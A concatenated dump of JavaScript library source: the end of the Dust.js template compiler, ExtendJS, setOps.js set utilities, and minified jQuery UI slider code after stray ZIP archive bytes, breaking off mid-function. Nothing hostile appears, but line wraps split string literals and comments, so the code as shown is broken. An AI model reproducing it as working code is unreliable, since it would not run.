(renderSource which calls compileFn) or
// for templates that are compiled as a callable (compileFn)
//
// for the common case (using compile and render) a name is required so
that templates will be cached by name and rendered later, by name.
try {
var ast = filterAST(parse(source));
return compile(ast, name);
}
catch (err)
{
if (!err.line || !err.column) {
throw err;
}
throw new SyntaxError(err.message + ' At line : ' +
err.line + ', column : ' + err.column);
}
};
function filterAST(ast) {
var context = {};
return compiler.filterNode(context, ast);
}
compiler.filterNode = function(context, node) {
return compiler.optimizers[node[0]](context, node);
};
compiler.optimizers = {
body: compactBuffers,
buffer: noop,
special: convertSpecial,
format: format,
reference: visit,
'#': visit,
'?': visit,
'^': visit,
'<': visit,
'+': visit,
'@': visit,
'%': visit,
partial: visit,
context: visit,
params: visit,
bodies: visit,
param: visit,
filters: noop,
key: noop,
path: noop,
literal: noop,
raw: noop,
comment: nullify,
line: nullify,
col: nullify
};
compiler.pragmas = {
esc: function(compiler, context, bodies) {
var old = compiler.auto,
out;
if (!context) {
context = 'h';
}
compiler.auto = (context === 's') ? '' : context;
out = compileParts(compiler, bodies.block);
compiler.auto = old;
return out;
}
};
function visit(context, node) {
var out = [node[0]],
i, len, res;
for (i=1, len=node.length; i<len; i++) {
res = compiler.filterNode(context, node[i]);
if (res) {
out.push(res);
}
}
return out;
}
// Compacts consecutive buffer nodes into a single node
function compactBuffers(context, node) {
var out = [node[0]],
memo, i, len, res;
for (i=1, len=node.length; i<len; i++) {
res = compiler.filterNode(context, node[i]);
if (res) {
if (res[0] === 'buffer' || res[0] === 'format')
{
if (memo) {
memo[0] = (res[0] === 'buffer') ? 'buffer'
: memo[0];
memo[1] += res.slice(1, -2).join('');
} else {
memo = res;
out.push(res);
}
} else {
memo = null;
out.push(res);
}
}
}
return out;
}
var specialChars = {
's': ' ',
'n': '\n',
'r': '\r',
'lb': '{',
'rb': '}'
};
function convertSpecial(context, node) {
return ['buffer', specialChars[node[1]], node[2], node[3]];
}
function noop(context, node) {
return node;
}
function nullify(){}
function format(context, node) {
if(dust.config.whitespace) {
// Format nodes are in the form ['format', eol, whitespace,
line, col],
// which is unlike other nodes in that there are two pieces of
content
// Join eol and whitespace together to normalize the node format
node.splice(1, 2, node.slice(1, -2).join(''));
return node;
}
return null;
}
function compile(ast, name) {
var context = {
name: name,
bodies: [],
blocks: {},
index: 0,
auto: 'h'
},
escapedName = dust.escapeJs(name),
AMDName = name? '"' + escapedName + '",'
: '',
compiled = 'function(dust){',
entry = compiler.compileNode(context, ast),
iife;
if(name) {
compiled += 'dust.register("' + escapedName +
'",' + entry + ');';
}
compiled += compileBlocks(context) +
compileBodies(context) +
'return ' + entry + '}';
iife = '(' + compiled + '(dust));';
if(dust.config.amd) {
return 'define(' + AMDName +
'["dust.core"],' + compiled + ');';
} else if(dust.config.cjs) {
return 'module.exports=function(dust){' +
'var tmpl=' + iife +
'var f=' + loaderFor().toString() + ';' +
'f.template=tmpl;return f}';
} else {
return iife;
}
}
function compileBlocks(context) {
var out = [],
blocks = context.blocks,
name;
for (name in blocks) {
out.push('"' + name + '":' +
blocks[name]);
}
if (out.length) {
context.blocks = 'ctx=ctx.shiftBlocks(blocks);';
return 'var blocks={' + out.join(',') +
'};';
} else {
context.blocks = '';
}
return context.blocks;
}
function compileBodies(context) {
var out = [],
bodies = context.bodies,
blx = context.blocks,
i, len;
for (i=0, len=bodies.length; i<len; i++) {
out[i] = 'function body_' + i + '(chk,ctx){' +
blx + 'return chk' + bodies[i] + ';}body_' +
i + '.__dustBody=!0;';
}
return out.join('');
}
function compileParts(context, body) {
var parts = '',
i, len;
for (i=1, len=body.length; i<len; i++) {
parts += compiler.compileNode(context, body[i]);
}
return parts;
}
compiler.compileNode = function(context, node) {
return compiler.nodes[node[0]](context, node);
};
compiler.nodes = {
body: function(context, node) {
var id = context.index++,
name = 'body_' + id;
context.bodies[id] = compileParts(context, node);
return name;
},
buffer: function(context, node) {
return '.w(' + escape(node[1]) + ')';
},
format: function(context, node) {
return '.w(' + escape(node[1]) + ')';
},
reference: function(context, node) {
return '.f(' + compiler.compileNode(context, node[1]) +
',ctx,' + compiler.compileNode(context, node[2]) +
')';
},
'#': function(context, node) {
return compileSection(context, node, 'section');
},
'?': function(context, node) {
return compileSection(context, node, 'exists');
},
'^': function(context, node) {
return compileSection(context, node, 'notexists');
},
'<': function(context, node) {
var bodies = node[4];
for (var i=1, len=bodies.length; i<len; i++) {
var param = bodies[i],
type = param[1][1];
if (type === 'block') {
context.blocks[node[1].text] = compiler.compileNode(context,
param[2]);
return '';
}
}
return '';
},
'+': function(context, node) {
if (typeof(node[1].text) === 'undefined' &&
typeof(node[4]) === 'undefined'){
return '.b(ctx.getBlock(' +
compiler.compileNode(context, node[1]) +
',chk, ctx),' + compiler.compileNode(context,
node[2]) + ', {},' +
compiler.compileNode(context, node[3]) +
')';
} else {
return '.b(ctx.getBlock(' +
escape(node[1].text) +
'),' + compiler.compileNode(context, node[2]) +
',' +
compiler.compileNode(context, node[4]) + ',' +
compiler.compileNode(context, node[3]) +
')';
}
},
'@': function(context, node) {
return '.h(' +
escape(node[1].text) +
',' + compiler.compileNode(context, node[2]) +
',' +
compiler.compileNode(context, node[4]) + ',' +
compiler.compileNode(context, node[3]) + ',' +
compiler.compileNode(context, node[5]) +
')';
},
'%': function(context, node) {
// TODO: Move these hacks into pragma precompiler
var name = node[1][1],
rawBodies,
bodies,
rawParams,
params,
ctx, b, p, i, len;
if (!compiler.pragmas[name]) {
return '';
}
rawBodies = node[4];
bodies = {};
for (i=1, len=rawBodies.length; i<len; i++) {
b = rawBodies[i];
bodies[b[1][1]] = b[2];
}
rawParams = node[3];
params = {};
for (i=1, len=rawParams.length; i<len; i++) {
p = rawParams[i];
params[p[1][1]] = p[2][1];
}
ctx = node[2][1] ? node[2][1].text : null;
return compiler.pragmas[name](context, ctx, bodies, params);
},
partial: function(context, node) {
return '.p(' +
compiler.compileNode(context, node[1]) +
',ctx,' + compiler.compileNode(context, node[2]) +
',' + compiler.compileNode(context, node[3]) +
')';
},
context: function(context, node) {
if (node[1]) {
return 'ctx.rebase(' + compiler.compileNode(context,
node[1]) + ')';
}
return 'ctx';
},
params: function(context, node) {
var out = [];
for (var i=1, len=node.length; i<len; i++) {
out.push(compiler.compileNode(context, node[i]));
}
if (out.length) {
return '{' + out.join(',') + '}';
}
return '{}';
},
bodies: function(context, node) {
var out = [];
for (var i=1, len=node.length; i<len; i++) {
out.push(compiler.compileNode(context, node[i]));
}
return '{' + out.join(',') + '}';
},
param: function(context, node) {
return compiler.compileNode(context, node[1]) + ':' +
compiler.compileNode(context, node[2]);
},
filters: function(context, node) {
var list = [];
for (var i=1, len=node.length; i<len; i++) {
var filter = node[i];
list.push('"' + filter + '"');
}
return '"' + context.auto + '"' +
(list.length ? ',[' + list.join(',') +
']' : '');
},
key: function(context, node) {
return 'ctx.get(["' + node[1] + '"],
false)';
},
path: function(context, node) {
var current = node[1],
keys = node[2],
list = [];
for (var i=0,len=keys.length; i<len; i++) {
if (isArray(keys[i])) {
list.push(compiler.compileNode(context, keys[i]));
} else {
list.push('"' + keys[i] + '"');
}
}
return 'ctx.getPath(' + current + ', [' +
list.join(',') + '])';
},
literal: function(context, node) {
return escape(node[1]);
},
raw: function(context, node) {
return ".w(" + escape(node[1]) + ")";
}
};
function compileSection(context, node, cmd) {
return '.' + (dust._aliases[cmd] || cmd) + '(' +
compiler.compileNode(context, node[1]) +
',' + compiler.compileNode(context, node[2]) +
',' +
compiler.compileNode(context, node[4]) + ',' +
compiler.compileNode(context, node[3]) +
')';
}
var BS = /\\/g,
DQ = /"/g,
LF = /\f/g,
NL = /\n/g,
CR = /\r/g,
TB = /\t/g;
function escapeToJsSafeString(str) {
return str.replace(BS, '\\\\')
.replace(DQ, '\\"')
.replace(LF, '\\f')
.replace(NL, '\\n')
.replace(CR, '\\r')
.replace(TB, '\\t');
}
var escape = (typeof JSON === 'undefined') ?
function(str) { return '"' +
escapeToJsSafeString(str) + '"';} :
JSON.stringify;
function renderSource(source, context, callback) {
var tmpl = dust.loadSource(dust.compile(source));
return loaderFor(tmpl)(context, callback);
}
function compileFn(source, name) {
var tmpl = dust.loadSource(dust.compile(source, name));
return loaderFor(tmpl);
}
function loaderFor(tmpl) {
return function load(ctx, cb) {
var fn = cb ? 'render' : 'stream';
return dust[fn](tmpl, ctx, cb);
};
}
// expose compiler methods
dust.compiler = compiler;
dust.compile = dust.compiler.compile;
dust.renderSource = renderSource;
dust.compileFn = compileFn;
// DEPRECATED legacy names. Removed in 2.8.0
dust.filterNode = compiler.filterNode;
dust.optimizers = compiler.optimizers;
dust.pragmas = compiler.pragmas;
dust.compileNode = compiler.compileNode;
dust.nodes = compiler.nodes;
return compiler;
}));
if (typeof define === "function" && define.amd &&
define.amd.dust === true) {
define(["require", "dust.core",
"dust.compile"], function(require, dust) {
dust.onLoad = function(name, cb) {
require([name], function() {
cb();
});
};
return dust;
});
}
;
/*
ExtendJS 0.2.3
More info at http://extendjs.org
Copyright (c) 2013+ ChrisBenjaminsen.com
Distributed under the terms of the MIT license.
http://extendjs.org/licence.txt
This notice shall be included in all copies or substantial portions of the
Software.
*/
!function(a){"use strict";function b(a){a.parent instanceof
Function&&(b.apply(this,[a.parent]),this.super=c(this,d(this,this.constructor))),a.apply(this,arguments)}function
c(a,b){for(var c in a)"super"!==c&&a[c]instanceof
Function&&!(a[c].prototype instanceof
Class)&&(b[c]=a[c].super||d(a,a[c]));return b}function d(a,b){var
c=a.super;return b.super=function(){return
a.super=c,b.apply(a,arguments)}}a.Class=function(){},a.Class.extend=function
e(a){function
d(){b!==arguments[0]&&(b.apply(this,[a]),c(this,this),this.initializer
instanceof
Function&&this.initializer.apply(this),this.constructor.apply(this,arguments))}return
d.prototype=new
this(b),d.prototype.constructor=d,d.toString=function(){return
a.toString()},d.extend=function(b){return
b.parent=a,e.apply(d,arguments)},d},a.Class=a.Class.extend(function(){this.constructor=function(){}})}(this);
;
// setOps.js MIT License © 2014 James Abney http://github.com/jabney
// Set operations union, intersection, symmetric difference,
// relative complement, equals. Set operations are fast.
(function(so) {
'use strict';
var uidList = [], uid;
// Create and push the uid identity method.
uidList.push(uid = function() {
return this;
});
// Push a new uid method onto the stack. Call this and
// supply a unique key generator for sets of objects.
so.pushUid = function(method) {
uidList.push(method);
uid = method;
return method;
};
// Pop the previously pushed uid method off the stack and
// assign top of stack to uid. Return the previous method.
so.popUid = function() {
var prev;
uidList.length > 1 && (prev = uidList.pop());
uid = uidList[uidList.length-1];
return prev || null;
};
// Processes a histogram consructed from two arrays, 'a' and
'b'.
// This function is used generically by the below set operation
// methods, a.k.a, 'evaluators', to return some subset of
// a set union, based on frequencies in the histogram.
function process(a, b, evaluator) {
// Create a histogram of 'a'.
var hist = Object.create(null), out = [], ukey, k;
a.forEach(function(value) {
ukey = uid.call(value);
if(!hist[ukey]) {
hist[ukey] = { value: value, freq: 1 };
}
});
// Merge 'b' into the histogram.
b.forEach(function(value) {
ukey = uid.call(value);
if (hist[ukey]) {
if (hist[ukey].freq === 1)
hist[ukey].freq = 3;
} else {
hist[ukey] = { value: value, freq: 2 };
}
});
// Call the given evaluator.
if (evaluator) {
for (k in hist) {
if (evaluator(hist[k].freq)) out.push(hist[k].value);
}
return out;
} else {
return hist;
}
};
// Join two sets together.
// Set.union([1, 2, 2], [2, 3]) => [1, 2, 3]
so.union = function(a, b) {
return process(a, b, function(freq) {
return true;
});
};
// Return items common to both sets.
// Set.intersection([1, 1, 2], [2, 2, 3]) => [2]
so.intersection = function(a, b) {
return process(a, b, function(freq) {
return freq === 3;
});
};
// Symmetric difference. Items from either set that
// are not in both sets.
// Set.difference([1, 1, 2], [2, 3, 3]) => [1, 3]
so.difference = function(a, b) {
return process(a, b, function(freq) {
return freq < 3;
});
};
// Relative complement. Items from 'a' which are
// not also in 'b'.
// Set.complement([1, 2, 2], [2, 2, 3]) => [3]
so.complement = function(a, b) {
return process(a, b, function(freq) {
return freq === 1;
});
};
// Returns true if both sets are equivalent, false otherwise.
// Set.equals([1, 1, 2], [1, 2, 2]) => true
// Set.equals([1, 1, 2], [1, 2, 3]) => false
so.equals = function(a, b) {
var max = 0, min = Math.pow(2, 53), key,
hist = process(a, b);
for (var key in hist) {
max = Math.max(max, hist[key].freq);
min = Math.min(min, hist[key].freq);
}
return min === 3 && max === 3;
};
})(window.setOps = window.setOps || Object.create(null));
;PK�v�[��V�V
assets/js/jquery-ui.range.min.jsnu�[���/*! jQuery UI - v1.12.1 -
2016-10-13
* http://jqueryui.com
* Includes: widget.js, keycode.js, widgets/mouse.js, widgets/slider.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */
(function(t){"function"==typeof
define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){t.ui=t.ui||{},t.ui.version="1.12.1";var
e=0,i=Array.prototype.slice;t.cleanData=function(e){return function(i){var
s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var
n,o,a,r={},l=e.split(".")[0];e=e.split(".")[1];var
h=l+"-"+e;return
s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][h.toLowerCase()]=function(e){return!!t.data(e,h)},t[l]=t[l]||{},n=t[l][e],o=t[l][e]=function(t,e){return
this._createWidget?(arguments.length&&this._createWidget(t,e),void
0):new
o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new
i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return
t.isFunction(s)?(r[e]=function(){function t(){return
i.prototype[e].apply(this,arguments)}function n(t){return
i.prototype[e].apply(this,t)}return function(){var
e,i=this._super,o=this._superApply;return
this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void
0):(r[e]=s,void
0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:l,widgetName:e,widgetFullName:h}),n?(t.each(n._childConstructors,function(e,i){var
s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete
n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var
s,n,o=i.call(arguments,1),a=0,r=o.length;r>a;a++)for(s in
o[a])n=o[a][s],o[a].hasOwnProperty(s)&&void
0!==n&&(e[s]=t.isPlainObject(n)?t.isPlainObject(e[s])?t.widget.extend({},e[s],n):t.widget.extend({},n):n);return
e},t.widget.bridge=function(e,s){var
n=s.prototype.widgetFullName||e;t.fn[e]=function(o){var
a="string"==typeof o,r=i.call(arguments,1),l=this;return
a?this.length||"instance"!==o?this.each(function(){var
i,s=t.data(this,n);return"instance"===o?(l=s,!1):s?t.isFunction(s[o])&&"_"!==o.charAt(0)?(i=s[o].apply(s,r),i!==s&&void
0!==i?(l=i&&i.jquery?l.pushStack(i.get()):i,!1):void
0):t.error("no such method '"+o+"' for
"+e+" widget instance"):t.error("cannot call methods on
"+e+" prior to initialization; "+"attempted to call
method '"+o+"'")}):l=void
0:(r.length&&(o=t.widget.extend.apply(null,[o].concat(r))),this.each(function(){var
e=t.data(this,n);e?(e.option(o||{}),e._init&&e._init()):t.data(this,n,new
s(o,this))})),l}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(i,s){s=t(s||this.defaultElement||this)[0],this.element=t(s),this.uuid=e++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},s!==this&&(t.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===s&&this.destroy()}}),this.document=t(s.style?s.ownerDocument:s.document||s),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),i),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var
e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return
this.element},option:function(e,i){var
s,n,o,a=e;if(0===arguments.length)return
t.widget.extend({},this.options);if("string"==typeof
e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return
void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void
0===this.options[e]?null:this.options[e];a[e]=i}return
this._setOptions(a),this},_setOptions:function(t){var e;for(e in
t)this._setOption(e,t[e]);return
this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var
i,s,n;for(i in
e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return
this._setOptions({disabled:!1})},disable:function(){return
this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var
a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var
s=[],n=this;return
e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join("
")},_untrackClassesElement:function(e){var
i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return
this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return
this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof
s?s:i;var n="string"==typeof
t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return
o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var
n,o=this;"boolean"!=typeof
e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function
r(){return
e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof
a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof
a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var
l=s.match(/^([\w:-]*)\s*(.*)$/),h=l[1]+o.eventNamespace,c=l[2];c?n.on(h,c,r):i.on(h,r)})},_off:function(e,i){i=(i||"").split("
").join(this.eventNamespace+"
")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function
i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var
s=this;return
setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var
n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n
in o)n in i||(i[n]=o[n]);return
this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof
n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof
n?i:n.effect||i:e;n=n||{},"number"==typeof
n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,t.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},t.ui.ie=!!/msie
[\w.]+/.exec(navigator.userAgent.toLowerCase());var
s=!1;t(document).on("mouseup",function(){s=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input,
textarea, button, select,
option",distance:1,delay:0},_mouseInit:function(){var
e=this;this.element.on("mousedown."+this.widgetName,function(t){return
e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void
0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!s){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var
i=this,n=1===e.which,o="string"==typeof
this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return
n&&!o&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return
i._mouseMove(t)},this._mouseUpDelegate=function(t){return
i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),s=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return
this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else
if(!this.ignoreMissingWhich)return
this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete
this._mouseDelayTimer),this.ignoreMissingWhich=!1,s=!1,e.preventDefault()},_mouseDistanceMet:function(t){return
Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return
this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.widget("ui.slider",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"slidez",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all
ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider
ui-slider-"+this.orientation,"ui-widget
ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var
e,i,s=this.options,n=this.element.find(".ui-slider-handle"),o="<span
tabindex='0'></span>",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)a.push(o);this.handles=n.add(t(a.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var
e=this.options;e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min
ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=t("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),("min"===e.range||"max"===e.range)&&this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var
i,s,n,o,a,r,l,h,c=this,u=this.options;return
u.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var
i=Math.abs(s-c.values(e));(n>i||n===i&&(e===c._lastChangedValue||c.values(e)===u.min))&&(n=i,o=t(this),a=e)}),r=this._start(e,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,this._addClass(o,null,"ui-state-active"),o.trigger("focus"),l=o.offset(),h=!t(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=h?{left:0,top:0}:{left:e.pageX-l.left-o.width()/2,top:e.pageY-l.top-o.height()/2-(parseInt(o.css("borderTopWidth"),10)||0)-(parseInt(o.css("borderBottomWidth"),10)||0)+(parseInt(o.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var
e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return
this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return
this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var
e,i,s,n,o;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_uiHash:function(t,e,i){var
s={handle:this.handles[t],handleIndex:t,value:void
0!==e?e:this.value()};return
this._hasMultipleValues()&&(s.value=void
0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return
this.options.values&&this.options.values.length},_start:function(t,e){return
this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var
s,n,o=this.value(),a=this.values();this._hasMultipleValues()&&(n=this.values(e?0:1),o=this.values(e),2===this.options.values.length&&this.options.range===!0&&(i=0===e?Math.min(n,i):Math.max(n,i)),a[e]=i),i!==o&&(s=this._trigger("slide",t,this._uiHash(e,i,a)),s!==!1&&(this._hasMultipleValues()?this.values(e,i):this.value(i)))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return
arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),void
0):this._value()},values:function(e,i){var
s,n,o;if(arguments.length>1)return
this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),void
0;if(!arguments.length)return
this._values();if(!t.isArray(arguments[0]))return
